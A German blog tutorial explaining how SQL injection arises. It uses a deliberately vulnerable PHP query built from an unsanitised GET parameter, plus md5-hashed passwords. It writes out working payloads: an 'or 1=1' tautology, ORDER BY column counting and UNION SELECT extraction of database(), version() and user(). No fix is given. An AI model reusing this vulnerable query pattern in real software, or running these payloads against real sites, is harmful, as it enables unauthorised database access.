SQL Injections und wie sie entstehen
February 14, 2018 | Kategorie: tutorials | Thema: sicherheit

Ich habe ein Beispiel auf SQL Fiddle erstellt.

CREATE TABLE `user` (
`id` INT NOT NULL AUTO_INCREMENT,
`mail` VARCHAR(50) NULL,
`pass` VARCHAR(50) NULL,
PRIMARY KEY (`id`));
insert into user (mail,pass) values ( 'user1@zarat.ml', md5('user1') );
insert into user (mail,pass) values ( 'user2@zarat.ml', md5('user2') );
insert into user (mail,pass) values ( 'user3@zarat.ml', md5('user3') );

Nehmen wir an, wir nutzen aus Unwissenheit folgenden SQL Query:

$id = $_GET['id'];
mysql_Query("SELECT * FROM user WHERE id= $id"); //oder
mysql_Query("SELECT * FROM user WHERE id= '$id'");

Anhand des Ergebnisses dieser Abfrage entscheiden wir, ob der User eingelogt ist oder nicht. Ein Hacker würde versuchen, den Query zu verändern indem er die als GET Parameter übergebene id manipuliert.

SELECT * FROM user WHERE id=1 or 1=1; //oder
SELECT * FROM user WHERE id='1' or '1'='1';

Es ist egal, welche id übergeben wird, der Query wird so abgeändert, das das nachfolgende or 1=1 alle vorangehenden Statements überschreibt. Wenn diese Abfrage an den SQL Interpreter weitergeleitet wird, bedeutet das, man kann sogut wie alles in den Query interpretieren. Ich möchte jetzt den Namen der Datenbank wissen. Dazu muss ich zuerst herausfinden, wieviele Spalten der Datensatz hat.

SELECT * FROM user WHERE id=1 or 1=1 order by 1; //oder
SELECT * FROM user WHERE id='1' or '1'='1' order by 1;

Diese ORDER BY Klausel erhöhe ich dabei jedes mal um 1, bis ein Fehler kommt. Ich weiß jetzt die letzte Zahl ist die Anzahl an Spalten! Somit kann ich den Query abändern und mit einem UNION SELECT das Ergebnis "überschreiben".

SELECT * FROM user WHERE id=1 or 1=1 union select 1,2,3; //oder
SELECT * FROM user WHERE id='1' or '1'='1' union select 1,2,3;

Dieser Query wäre zwar aufwendig und unnötig aber noch kein "Fehler" in dem Sinn. Statt die gefundenen Variablen anhand der Nummerierung ins Ergebnis zu schreiben nutze ich interne Funktionen um meine Informationen zui erhalten. Erstmal sind folgende Funktionen von Bedeutung

  • database()
  • user()
  • version()
SELECT * FROM user WHERE id=1 or 1=1 union select database(),version(),user(); //oder
SELECT * FROM user WHERE id='1' or '1'='1' union select database(),version(),user();

Damit haben wir vollen Zugriff auf die Datenbank.

Beitrag auf Github bearbeiten
Suche
Weiterlesen